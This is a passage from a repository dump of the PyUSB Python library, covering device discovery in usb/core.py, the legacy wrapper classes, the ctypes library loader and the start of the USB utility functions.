\" %-23s:%#7x %s\\n\" % (\n            \"iManufacturer\", self.iManufacturer,\n            _try_get_string(self, self.iManufacturer)) + \\\n        \" %-23s:%#7x %s\\n\" % (\n            \"iProduct\", self.iProduct,\n            _try_get_string(self, self.iProduct)) + \\\n        \" %-23s:%#7x %s\\n\" % (\n            \"iSerialNumber\", self.iSerialNumber,\n            _try_get_string(self, self.iSerialNumber)) + \\\n        \" %-23s:%#7x\" % (\n            \"bNumConfigurations\", self.bNumConfigurations)\n\n    default_timeout = property(\n                        __get_def_tmo,\n                        __set_def_tmo,\n                        doc = 'Default timeout for transfer I/O functions'\n                    )\n\n\ndef find(find_all=False, backend = None, custom_match = None, **args):\n    r\"\"\"Find an USB device and return it.\n\n    find() is the function used to discover USB devices.  You can pass as\n    arguments any combination of the USB Device Descriptor fields to match a\n    device. For example:\n\n    find(idVendor=0x3f4, idProduct=0x2009)\n\n    will return the Device object for the device with idVendor field equals\n    to 0x3f4 and idProduct equals to 0x2009.\n\n    If there is more than one device which matchs the criteria, the first one\n    found will be returned. If a matching device cannot be found the function\n    returns None. If you want to get all devices, you can set the parameter\n    find_all to True, then find will return an iterator with all matched devices.\n    If no matching device is found, it will return an empty iterator. Example:\n\n    for printer in find(find_all=True, bDeviceClass=7):\n        print (printer)\n\n    This call will get all the USB printers connected to the system.  (actually\n    may be not, because some devices put their class information in the\n    Interface Descriptor).\n\n    You can also use a customized match criteria:\n\n    dev = find(custom_match = lambda d: d.idProduct=0x3f4 and d.idvendor=0x2009)\n\n    A more accurate printer finder using a customized match would be like\n    so:\n\n    def is_printer(dev):\n        import usb.util\n        if dev.bDeviceClass == 7:\n            return True\n        for cfg in dev:\n            if usb.util.find_descriptor(cfg, bInterfaceClass=7) is not None:\n                return True\n\n    for printer in find(find_all=True, custom_match = is_printer):\n        print (printer)\n\n    Now even if the device class code is in the interface descriptor the\n    printer will be found.\n\n    You can combine a customized match with device descriptor fields. In this\n    case, the fields must match and the custom_match must return True. In the\n    our previous example, if we would like to get all printers belonging to the\n    manufacturer 0x3f4, the code would be like so:\n\n    printers = list(find(find_all=True, idVendor=0x3f4, custom_match=is_printer))\n\n    If you want to use find as a 'list all devices' function, just call\n    it with find_all = True:\n\n    devices = list(find(find_all=True))\n\n    Finally, you can pass a custom backend to the find function:\n\n    find(backend = MyBackend())\n\n    PyUSB has builtin backends for libusb 0.1, libusb 1.0 and OpenUSB.  If you\n    do not supply a backend explicitly, find() function will select one of the\n    predefineds backends according to system availability.\n\n    Backends are explained in the usb.backend module.\n    \"\"\"\n    def device_iter(**kwargs):\n        for dev in backend.enumerate_devices():\n            d = Device(dev, backend)\n            tests = (val == getattr(d, key) for key, val in kwargs.items())\n            if _interop._all(tests) and (custom_match is None or custom_match(d)):\n                yield d\n\n    if backend is None:\n        import usb.backend.libusb1 as libusb1\n        import usb.backend.libusb0 as libusb0\n        import usb.backend.openusb as openusb\n\n        for m in (libusb1, openusb, libusb0):\n            backend = m.get_backend()\n            if backend is not None:\n                _logger.info('find(): using backend \"%s\"', m.__name__)\n                break\n        else:\n            raise NoBackendError('No backend available')\n\n    if find_all:\n        return device_iter(**args)\n    else:\n        try:\n            return _interop._next(device_iter(**args))\n        except StopIteration:\n            return None\n\ndef show_devices(verbose=False, **kwargs):\n    \"\"\"Show information about connected devices.\n\n    The verbose flag sets to verbose or not.\n    **kwargs are passed directly to the find() function.\n    \"\"\"\n    kwargs[\"find_all\"] = True\n    devices = find(**kwargs)\n    strings = \"\"\n    for device in devices:\n        if not verbose:\n            strings +=  \"%s, %s\\n\" % (device._str(), _try_lookup(\n                _lu.device_classes, device.bDeviceClass))\n        else:\n            strings += \"%s\\n\\n\" % str(device)\n\n    return _DescriptorInfo(strings)\n"
  },
  {
    "path": "usb/legacy.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nimport usb.core as core\nimport usb.util as util\nimport usb._objfinalizer as _objfinalizer\nimport usb.control as control\n\nfrom itertools import groupby\n\n__author__ = 'Wander Lairson Costa'\n\nUSBError = core.USBError\n\nCLASS_AUDIO = 1\nCLASS_COMM = 2\nCLASS_DATA = 10\nCLASS_HID = 3\nCLASS_HUB = 9\nCLASS_MASS_STORAGE = 8\nCLASS_PER_INTERFACE = 0\nCLASS_PRINTER = 7\nCLASS_VENDOR_SPEC = 255\nDT_CONFIG = 2\nDT_CONFIG_SIZE = 9\nDT_DEVICE = 1\nDT_DEVICE_SIZE = 18\nDT_ENDPOINT = 5\nDT_ENDPOINT_AUDIO_SIZE = 9\nDT_ENDPOINT_SIZE = 7\nDT_HID = 33\nDT_HUB = 41\nDT_HUB_NONVAR_SIZE = 7\nDT_INTERFACE = 4\nDT_INTERFACE_SIZE = 9\nDT_PHYSICAL = 35\nDT_REPORT = 34\nDT_STRING = 3\nENDPOINT_ADDRESS_MASK = 15\nENDPOINT_DIR_MASK = 128\nENDPOINT_IN = 128\nENDPOINT_OUT = 0\nENDPOINT_TYPE_BULK = 2\nENDPOINT_TYPE_CONTROL = 0\nENDPOINT_TYPE_INTERRUPT = 3\nENDPOINT_TYPE_ISOCHRONOUS = 1\nENDPOINT_TYPE_MASK = 3\nERROR_BEGIN = 500000\nMAXALTSETTING = 128\nMAXCONFIG = 8\nMAXENDPOINTS = 32\nMAXINTERFACES = 32\nRECIP_DEVICE = 0\nRECIP_ENDPOINT = 2\nRECIP_INTERFACE = 1\nRECIP_OTHER = 3\nREQ_CLEAR_FEATURE = 1\nREQ_GET_CONFIGURATION = 8\nREQ_GET_DESCRIPTOR = 6\nREQ_GET_INTERFACE = 10\nREQ_GET_STATUS = 0\nREQ_SET_ADDRESS = 5\nREQ_SET_CONFIGURATION = 9\nREQ_SET_DESCRIPTOR = 7\nREQ_SET_FEATURE = 3\nREQ_SET_INTERFACE = 11\nREQ_SYNCH_FRAME = 12\nTYPE_CLASS = 32\nTYPE_RESERVED = 96\nTYPE_STANDARD = 0\nTYPE_VENDOR = 64\n\nclass Endpoint(object):\n    r\"\"\"Endpoint descriptor object.\"\"\"\n    def __init__(self, ep):\n        self.address = ep.bEndpointAddress\n        self.interval = ep.bInterval\n        self.maxPacketSize = ep.wMaxPacketSize\n        self.type = util.endpoint_type(ep.bmAttributes)\n\nclass Interface(object):\n    r\"\"\"Interface descriptor object.\"\"\"\n    def __init__(self, intf):\n        self.alternateSetting = intf.bAlternateSetting\n        self.interfaceNumber = intf.bInterfaceNumber\n        self.iInterface = intf.iInterface\n        self.interfaceClass = intf.bInterfaceClass\n        self.interfaceSubClass = intf.bInterfaceSubClass\n        self.interfaceProtocol = intf.bInterfaceProtocol\n        self.endpoints = [Endpoint(e) for e in intf]\n\nclass Configuration(object):\n    r\"\"\"Configuration descriptor object.\"\"\"\n    def __init__(self, cfg):\n        self.iConfiguration = cfg.iConfiguration\n        self.maxPower = cfg.bMaxPower << 1\n        self.remoteWakeup = (cfg.bmAttributes >> 5) & 1\n        self.selfPowered = (cfg.bmAttributes >> 6) & 1\n        self.totalLength = cfg.wTotalLength\n        self.value = cfg.bConfigurationValue\n        self.interfaces = [\n                            list(g) for k, g in groupby(\n                                    sorted(\n                                        [Interface(i) for i in cfg],\n                                        key=lambda i: i.interfaceNumber\n                                    ),\n                                    lambda i: i.alternateSetting)\n                        ]\n\nclass DeviceHandle(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, dev):\n        self.dev = dev\n        self.__claimed_interface = None\n\n    def _finalize_object(self):\n        util.dispose_resources(self.dev)\n        self.dev = None\n\n    def bulkWrite(self, endpoint, buffer, timeout = 100):\n        r\"\"\"Perform a bulk write request to the endpoint specified.\n\n            Arguments:\n                endpoint: endpoint number.\n                buffer: sequence data buffer to write.\n                        This parameter can be any sequence type.\n                timeout: operation timeout in milliseconds. (default: 100)\n            Returns the number of bytes written.\n        \"\"\"\n        return self.dev.write(endpoint, buffer, timeout)\n\n    def bulkRead(self, endpoint, size, timeout = 100):\n        r\"\"\"Performs a bulk read request to the endpoint specified.\n\n            Arguments:\n                endpoint: endpoint number.\n                size: number of bytes to read.\n                timeout: operation timeout in milliseconds. (default: 100)\n            Returns a tuple with the data read.\n        \"\"\"\n        return self.dev.read(endpoint, size, timeout)\n\n    def interruptWrite(self, endpoint, buffer, timeout = 100):\n        r\"\"\"Perform a interrupt write request to the endpoint specified.\n\n            Arguments:\n                endpoint: endpoint number.\n                buffer: sequence data buffer to write.\n                        This parameter can be any sequence type.\n                timeout: operation timeout in milliseconds. (default: 100)\n            Returns the number of bytes written.\n        \"\"\"\n        return self.dev.write(endpoint, buffer, timeout)\n\n    def interruptRead(self, endpoint, size, timeout = 100):\n        r\"\"\"Performs a interrupt read request to the endpoint specified.\n\n            Arguments:\n                endpoint: endpoint number.\n                size: number of bytes to read.\n                timeout: operation timeout in milliseconds. (default: 100)\n            Returns a tuple with the data read.\n        \"\"\"\n        return self.dev.read(endpoint, size, timeout)\n\n    def controlMsg(self, requestType, request, buffer, value = 0, index = 0, timeout = 100):\n        r\"\"\"Perform a control request to the default control pipe on a device.\n\n        Arguments:\n            requestType: specifies the direction of data flow, the type\n                         of request, and the recipient.\n            request: specifies the request.\n            buffer: if the transfer is a write transfer, buffer is a sequence\n                    with the transfer data, otherwise, buffer is the number of\n                    bytes to read.\n            value: specific information to pass to the device. (default: 0)\n                   index: specific information to pass to the device. (default: 0)\n            timeout: operation timeout in milliseconds. (default: 100)\n        Returns the number of bytes written.\n        \"\"\"\n        return self.dev.ctrl_transfer(\n                    requestType,\n                    request,\n                    wValue = value,\n                    wIndex = index,\n                    data_or_wLength = buffer,\n                    timeout = timeout)\n\n    def clearHalt(self, endpoint):\n        r\"\"\"Clears any halt status on the specified endpoint.\n\n        Arguments:\n            endpoint: endpoint number.\n        \"\"\"\n        self.dev.clear_halt(endpoint)\n\n    def claimInterface(self, interface):\n        r\"\"\"Claims the interface with the Operating System.\n\n        Arguments:\n            interface: interface number or an Interface object.\n        \"\"\"\n        if isinstance(interface, Interface):\n            interface = interface.interfaceNumber\n\n        util.claim_interface(self.dev, interface)\n        self.__claimed_interface = interface\n\n    def releaseInterface(self):\n        r\"\"\"Release an interface previously claimed with claimInterface.\"\"\"\n        util.release_interface(self.dev, self.__claimed_interface)\n        self.__claimed_interface = -1\n\n    def reset(self):\n        r\"\"\"Reset the specified device by sending a RESET\n            down the port it is connected to.\"\"\"\n        self.dev.reset()\n\n    def resetEndpoint(self, endpoint):\n        r\"\"\"Reset all states for the specified endpoint.\n\n        Arguments:\n            endpoint: endpoint number.\n        \"\"\"\n        self.clearHalt(endpoint)\n\n    def setConfiguration(self, configuration):\n        r\"\"\"Set the active configuration of a device.\n\n        Arguments:\n            configuration: a configuration value or a Configuration object.\n        \"\"\"\n        if isinstance(configuration, Configuration):\n           configuration = configuration.value\n\n        self.dev.set_configuration(configuration)\n\n    def setAltInterface(self, alternate):\n        r\"\"\"Sets the active alternate setting of the current interface.\n\n        Arguments:\n            alternate: an alternate setting number or an Interface object.\n        \"\"\"\n        if isinstance(alternate, Interface):\n           alternate = alternate.alternateSetting\n\n        self.dev.set_interface_altsetting(self.__claimed_interface, alternate)\n\n    def getString(self, index, length, langid = None):\n        r\"\"\"Retrieve the string descriptor specified by index\n            and langid from a device.\n\n        Arguments:\n            index: index of descriptor in the device.\n            length: number of bytes of the string (ignored)\n            langid: Language ID. If it is omitted, the first\n                    language will be used.\n        \"\"\"\n        return util.get_string(self.dev, index, langid).encode('ascii')\n\n    def getDescriptor(self, desc_type, desc_index, length, endpoint = -1):\n        r\"\"\"Retrieves a descriptor from the device identified by the type\n        and index of the descriptor.\n\n        Arguments:\n            desc_type: descriptor type.\n            desc_index: index of the descriptor.\n            len: descriptor length.\n            endpoint: ignored.\n        \"\"\"\n        return control.get_descriptor(self.dev, length, desc_type, desc_index)\n\n    def detachKernelDriver(self, interface):\n        r\"\"\"Detach a kernel driver from the interface (if one is attached,\n            we have permission and the operation is supported by the OS)\n\n        Arguments:\n            interface: interface number or an Interface object.\n        \"\"\"\n        if isinstance(interface, Interface):\n            interface = interface.interfaceNumber\n\n        self.dev.detach_kernel_driver(interface)\n\nclass Device(object):\n    r\"\"\"Device descriptor object\"\"\"\n    def __init__(self, dev):\n        self.deviceClass = dev.bDeviceClass\n        self.deviceSubClass = dev.bDeviceSubClass\n        self.deviceProtocol = dev.bDeviceProtocol\n        self.deviceVersion = str((dev.bcdDevice >> 12) & 0xf) + \\\n                            str((dev.bcdDevice >> 8) & 0xf) + \\\n                            '.' + \\\n                            str((dev.bcdDevice >> 4) & 0xf) + \\\n                            str(dev.bcdDevice & 0xf)\n        self.devnum = dev.address\n        self.filename = ''\n        self.iManufacturer = dev.iManufacturer\n        self.iProduct = dev.iProduct\n        self.iSerialNumber = dev.iSerialNumber\n        self.idProduct = dev.idProduct\n        self.idVendor = dev.idVendor\n        self.maxPacketSize = dev.bMaxPacketSize0\n        self.usbVersion = str((dev.bcdUSB >> 12) & 0xf) + \\\n                         str((dev.bcdUSB >> 8) & 0xf) + \\\n                         '.' + \\\n                         str((dev.bcdUSB >> 4) & 0xf) + \\\n                         str(dev.bcdUSB & 0xf)\n        self.configurations = [Configuration(c) for c in dev]\n        self.dev = dev\n\n    def open(self):\n        r\"\"\"Open the device for use.\n\n        Returns a DeviceHandle object\n        \"\"\"\n        return DeviceHandle(self.dev)\n\nclass Bus(object):\n    r\"\"\"Bus object.\"\"\"\n    def __init__(self, devices):\n        self.dirname = ''\n        self.devices = [Device(d) for d in devices]\n        self.location = self.devices[0].dev.bus\n\ndef busses():\n    r\"\"\"Returns a tuple with the usb busses.\"\"\"\n    return (Bus(g) for k, g in groupby(\n            sorted(core.find(find_all=True), key=lambda d: d.bus),\n            lambda d: d.bus))\n\n"
  },
  {
    "path": "usb/libloader.py",
    "content": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2013-2014 André Erdmann\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nimport ctypes\nimport ctypes.util\nimport logging\nimport sys\n\n__all__ = [\n            'LibraryException',\n            'LibraryNotFoundException',\n            'NoLibraryCandidatesException',\n            'LibraryNotLoadedException',\n            'LibraryMissingSymbolsException',\n            'locate_library',\n            'load_library',\n            'load_locate_library'\n]\n\n\n_LOGGER = logging.getLogger('usb.libloader')\n\n\nclass LibraryException(OSError):\n    pass\n\nclass LibraryNotFoundException(LibraryException):\n    pass\n\nclass NoLibraryCandidatesException(LibraryNotFoundException):\n    pass\n\nclass LibraryNotLoadedException(LibraryException):\n    pass\n\nclass LibraryMissingSymbolsException(LibraryException):\n    pass\n\n\ndef locate_library (candidates, find_library=ctypes.util.find_library):\n    \"\"\"Tries to locate a library listed in candidates using the given\n    find_library() function (or ctypes.util.find_library).\n    Returns the first library found, which can be the library's name\n    or the path to the library file, depending on find_library().\n    Returns None if no library is found.\n\n    arguments:\n    * candidates   -- iterable with library names\n    * find_library -- function that takes one positional arg (candidate)\n                      and returns a non-empty str if a library has been found.\n                      Any \"false\" value (None,False,empty str) is interpreted\n                      as \"library not found\".\n                      Defaults to ctypes.util.find_library if not given or\n                      None.\n    \"\"\"\n    if find_library is None:\n        find_library = ctypes.util.find_library\n\n    use_dll_workaround = (\n        sys.platform == 'win32' and find_library is ctypes.util.find_library\n    )\n\n    for candidate in candidates:\n        # Workaround for CPython 3.3 issue#16283 / pyusb #14\n        if use_dll_workaround:\n            candidate += '.dll'\n\n        libname = find_library(candidate)\n        if libname:\n            return libname\n    # -- end for\n    return None\n\ndef load_library(lib, name=None, lib_cls=None):\n    \"\"\"Loads a library. Catches and logs exceptions.\n\n    Returns: the loaded library or None\n\n    arguments:\n    * lib        -- path to/name of the library to be loaded\n    * name       -- the library's identifier (for logging)\n                    Defaults to None.\n    * lib_cls    -- library class. Defaults to None (-> ctypes.CDLL).\n    \"\"\"\n    try:\n        if lib_cls:\n            return lib_cls(lib)\n        else:\n            return ctypes.CDLL(lib)\n    except Exception:\n        if name:\n            lib_msg = '%s (%s)' % (name, lib)\n        else:\n            lib_msg = lib\n\n        lib_msg += ' could not be loaded'\n\n        if sys.platform == 'cygwin':\n            lib_msg += ' in cygwin'\n        _LOGGER.error(lib_msg, exc_info=True)\n        return None\n\ndef load_locate_library(candidates, cygwin_lib, name,\n                        win_cls=None, cygwin_cls=None, others_cls=None,\n                        find_library=None, check_symbols=None):\n    \"\"\"Locates and loads a library.\n\n    Returns: the loaded library\n\n    arguments:\n    * candidates    -- candidates list for locate_library()\n    * cygwin_lib    -- name of the cygwin library\n    * name          -- lib identifier (for logging). Defaults to None.\n    * win_cls       -- class that is used to instantiate the library on\n                       win32 platforms. Defaults to None (-> ctypes.CDLL).\n    * cygwin_cls    -- library class for cygwin platforms.\n                       Defaults to None (-> ctypes.CDLL).\n    * others_cls    -- library class for all other platforms.\n                       Defaults to None (-> ctypes.CDLL).\n    * find_library  -- see locate_library(). Defaults to None.\n    * check_symbols -- either None or a list of symbols that the loaded lib\n                       must provide (hasattr(<>)) in order to be considered\n                       valid. LibraryMissingSymbolsException is raised if\n                       any symbol is missing.\n\n    raises:\n    * NoLibraryCandidatesException\n    * LibraryNotFoundException\n    * LibraryNotLoadedException\n    * LibraryMissingSymbolsException\n    \"\"\"\n    if sys.platform == 'cygwin':\n        if cygwin_lib:\n            loaded_lib = load_library(cygwin_lib, name, cygwin_cls)\n        else:\n            raise NoLibraryCandidatesException(name)\n    elif candidates:\n        lib = locate_library(candidates, find_library)\n        if lib:\n            if sys.platform == 'win32':\n                loaded_lib = load_library(lib, name, win_cls)\n            else:\n                loaded_lib = load_library(lib, name, others_cls)\n        else:\n            _LOGGER.error('%r could not be found', (name or candidates))\n            raise LibraryNotFoundException(name)\n    else:\n        raise NoLibraryCandidatesException(name)\n\n    if loaded_lib is None:\n        raise LibraryNotLoadedException(name)\n    elif check_symbols:\n        symbols_missing = [\n                    s for s in check_symbols if not hasattr(loaded_lib, s)\n        ]\n        if symbols_missing:\n            msg = ('%r, missing symbols: %r', lib, symbols_missing )\n            _LOGGER.error(msg)\n            raise LibraryMissingSymbolsException(lib)\n        else:\n            return loaded_lib\n    else:\n        return loaded_lib\n"
  },
  {
    "path": "usb/util.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"usb.util - Utility functions.\n\nThis module exports:\n\nendpoint_address - return the endpoint absolute address.\nendpoint_direction - return the endpoint transfer direction.\nendpoint_type - return the endpoint type\nctrl_direction - return the direction of a control transfer\nbuild_request_type - build a bmRequestType field of a control transfer.\nfind_descriptor - find an inner descriptor.\nclaim_interface - explicitly claim an interface.\nrelease_interface - explicitly release an interface.\ndispose_resources - release internal resources allocated by the object.\nget_langids - retrieve the list of supported string languages from the device.\nget_string - retrieve a string descriptor from the device.\n\"\"\"\n\n__author__ = 'Wander Lairson Costa'\n\nimport operator\nimport array\nfrom sys import hexversion\nimport usb._interop as _interop\n\n# descriptor type\nDESC_TYPE_DEVICE = 0x01\nDESC_TYPE_CONFIG = 0x02\nDESC_TYPE_STRING = 0x03\nDESC_TYPE_INTERFACE = 0x04\nDESC_TYPE_ENDPOINT = 0x05\n\n# endpoint direction\nENDPOINT_IN = 0x80\nENDPOINT_OUT = 0x00\n\n# endpoint type\nENDPOINT_TYPE_CTRL = 0x00\nENDPOINT_TYPE_ISO = 0x01\nENDPOINT_TYPE_BULK = 0x02\nENDPOINT_TYPE_INTR = 0x03\n\n# control request type\nCTRL_TYPE_STANDARD = (0 << 5)\nCTRL_TYPE_CLASS = (1 << 5)\nCTRL_TYPE_VENDOR = (2 << 5)\nCTRL_TYPE_RESERVED = (3 << 5)\n\n# control request recipient\nCTRL_RECIPIENT_DEVICE = 0\nCTRL_RECIPIENT_INTERFACE = 1\nCTRL_RECIPIENT_ENDPOINT = 2\nCTRL_RECIPIENT_OTHER = 3\n\n# control request direction\nCTRL_OUT = 0x00\nCTRL_IN = 0x80\n\n_ENDPOINT_ADDR_MASK = 0x0f\n_ENDPOINT_DIR_MASK = 0x80\n_ENDPOINT_TRANSFER_TYPE_MASK = 0x03\n_CTRL_DIR_MASK = 0x80\n\n# For compatibility between Python 2 and 3\n_dummy_s = '\\x00'.encode('utf-8')\n\n# speed type\nSPEED_LOW = 1\nSPEED_FULL = 2\nSPEED_HIGH = 3\nSPEED_SUPER = 4\nSPEED_UNKNOWN = 0\n\ndef endpoint_address(address):\n    r\"\"\"Return the endpoint absolute address.\n\n    The address parameter is the bEndpointAddress field\n    of the endpoint descriptor.\n    \"\"\"\n    return address & _ENDPOINT_ADDR_MASK\n\ndef endpoint_direction(address):\n    r\"\"\"Return the endpoint direction.\n\n    The address parameter is the bEndpointAddress field\n    of the endpoint descriptor.\n    The possible return values are ENDPOINT_OUT or ENDPOINT_IN.\n    \"\"\"\n    return address & _ENDPOINT_DIR_MASK\n\ndef endpoint_type(bmAttributes):\n    r\"\"\"Return the transfer type of the endpoint.\n\n    The bmAttributes parameter is the bmAttributes field\n    of the endpoint descriptor.\n    The possible return values are: ENDPOINT_TYPE_CTRL,\n    ENDPOINT_TYPE_ISO, ENDPOINT_TYPE_BULK or ENDPOINT_TYPE_INTR.\n    \"\"\"\n    return bmAttributes & _ENDPOINT_TRANSFER_TYPE_MASK\n\ndef ctrl_direction(bmRequestType):\n    r\"\"\"Return the direction of a control request.\n\n    The bmRequestType parameter is the value of the\n    bmRequestType field of a control transfer.\n    The possible return values are CTRL_OUT or CTRL_IN.\n    \"\"\"\n    return bmRequestType & _CTRL_DIR_MASK\n\ndef build_request_type(direction, type, recipient):\n    r\"\"\"Build a bmRequestType field for control requests.\n\n    These is a conventional function to build a bmRequestType\n    for a control request.\n\n    The direction parameter can be CTRL_OUT or CTRL_IN.\n    The type parameter can be CTRL_TYPE_STANDARD, CTRL_TYPE_CLASS,\n    CTRL_TYPE_VENDOR or CTRL_TYPE_RESERVED values.\n    The recipient can be CTRL_RECIPIENT_DEVICE, CTRL_RECIPIENT_INTERFACE,\n    CTRL_RECIPIENT_ENDPOINT or CTRL_RECIPIENT_OTHER.\n\n    Return the bmRequestType value.\n    \"\"\"\n    return recipient | type | direction\n\ndef create_buffer(length):\n    r\"\"\"Create a buffer to be passed to a read function.\n\n    A read function may receive an out buffer so the data\n    is read inplace and the object can be reused, avoiding\n    the overhead of creating a new object at each new read\n    call. This function creates a compatible sequence buffer\n    of the given length.\n    \"\"\"\n    return array.array('B', _dummy_s * length)\n\ndef find_descriptor(desc, find_all=False, custom_match=None, **args):\n    r\"\"\"Find an inner descriptor.\n\n    find_descriptor works in the same way as the core.find() function does,\n    but it acts on general descriptor objects. For example, suppose you\n    have a Device object called dev and want a Configuration of this\n    object with its bConfigurationValue equals to 1, the code would\n    be like so:\n\n    >>> cfg = util.find_descriptor(dev, bConfigurationValue=1)\n\n    You can use any field of the Descriptor as a match criteria, and you\n    can supply a customized match just like core.find() does. The\n    find_descriptor function also accepts the find_all parameter to get\n    an iterator instead of just one descriptor.\n    \"\"\"\n    def desc_iter(**kwargs):\n        for d in desc:\n            tests = (val == getattr(d, key) for key, val in kwargs.items())\n            if _interop._all(tests) and (custom_match is None or custom_match(d)):\n                yield d\n\n    if find_all:\n        return desc_iter(**args)\n    else:\n        try:\n            return _interop._next(desc_iter(**args))\n        except StopIteration:\n            return None\n\ndef claim_interface(device, interface):\n    r\"\"\"Explicitly claim an interface.\n\n    PyUSB users normally do not have to worry about interface claiming,\n    as the library takes care of it automatically. But there are situations\n    where you need deterministic interface claiming. For these uncommon\n    cases, you can use claim_interface.\n\n    If the interface is already claimed, either through a previously call\n    to claim_interface or internally by the device object, nothing happens.\n    \"\"\"\n    device._ctx.managed_claim_interface(device, interface)\n\ndef release_interface(device, interface):\n    r\"\"\"Explicitly release an interface.\n\n    This function is used to release an interface previously claimed,\n    either through a call to claim_interface or internally by the\n    device object.\n\n    Normally, you do not need to worry about claiming policies, as\n    the device object takes care of it automatically.\n    \"\"\"\n    device._ctx.managed_release_interface(device, interface)\n\ndef dispose_resources(device):\n    r\"\"\"Release internal resources allocated by the object.\n\n    Sometimes you need to provide deterministic resources\n    freeing, for example to allow another application to\n    talk to the device. As Python does not provide deterministic\n    destruction, this function releases all internal resources\n    allocated by the device, like device handle and interface\n    policy.\n\n    After calling this function, you can continue using the device\n    object normally. If the resources will be necessary again, it\n    will be allocated automatically.\n    \"\"\"\n    device._ctx.dispose(device)\n\ndef get_langids(dev):\n    r\"\"\"Retrieve the list of supported Language IDs from the device.\n\n    Most client code should not call this function directly, but instead use\n    the langids property on the Device object, which will call this function as\n    needed and cache the result.\n\n    USB LANGIDs are 16-bit integers familiar to Windows developers, where\n    for example instead of en-US you say 0x0409. See the file USB_LANGIDS.pdf\n    somewhere on the usb.org site for a list, which does not claim to be\n    complete. It requires \"system software must allow the enumeration and\n    selection of LANGIDs that are not currently on this list.\" It also requires\n    \"system software should never request a LANGID not defined in the LANGID\n    code array (string index = 0) presented by a device.\" Client code can\n    check this tuple before issuing string requests for a specific language ID.\n\n    dev is the Device object whose supported language IDs will be retrieved.\n\n    The return value is a tuple of integer LANGIDs, possibly empty if the\n    device does not support strings at all (which USB 3.1 r1.0 section\n    9.6.9 allows). In that case client code should not request strings at all.\n\n    A USBError may be raised from this function for some devices that have no\n    string support, instead of returning an empty tuple. The accessor for the\n    langids property on Device catches that case and supplies an empty tuple,\n    so client code can ignore this detail by using the langids property instead\n    of directly calling this function.\n    \"\"\"\n    from usb.control import get_descriptor\n    buf = get_descriptor(\n                